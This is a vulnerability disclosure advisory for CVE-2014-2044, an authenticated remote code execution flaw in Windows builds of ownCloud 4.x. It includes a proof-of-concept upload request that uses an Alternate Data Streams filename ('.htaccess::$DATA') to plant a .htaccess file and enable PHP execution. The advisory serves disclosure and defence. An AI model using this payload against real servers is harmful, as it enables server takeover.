Vulnerability title: Remote Code Execution in ownCloud CVE: CVE-2014-2044 Vendor: ownCloud Product: ownCloud Affected version: 4.0.x & 4.5.x Fixed version: 5.0 Reported by: Alejo Murillo Moya Details: A remote code execution has been found and confirmed within ownCloud as an authenticated user. A successful attack could allow an authenticated attacker to execute PHP code, which could lead to a full compromise of the server and associated infrastructure. Please note that only the Windows versions of ownCloud are affected and that valid credentials are required. It is possible to create a custom .htaccess into the user's folder on Windows version of the application, which will enable PHP execution on the folder. This vulnerability exists because it is possible to bypass the internal blacklists using Windows ADS (Alternate Data Streams). Proof Of Concept: POST /owncloud_5.0.14a/owncloud/?app=files&getfile=ajax%2Fupload.php HTTP/1.1 [...] Content-Type: multipart/form-data; boundary=---------------------------21191376031994875607185408411 Requesttoken: None -----------------------------21191376031994875607185408411 Content-Disposition: form-data; name="MAX_FILE_SIZE" 536870912 -----------------------------21191376031994875607185408411 Content-Disposition: form-data; name="requesttoken" None -----------------------------21191376031994875607185408411 Content-Disposition: form-data; name="dir" / -----------------------------21191376031994875607185408411 Content-Disposition: form-data; name="files[]"; filename=".htaccess::$DATA" Content-Type: text/plain <PUT YOUR TEXT HERE> -----------------------------21191376031994875607185408411-- Further details at: https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2044/ Copyright: Copyright (c) Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited. Disclaimer: The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.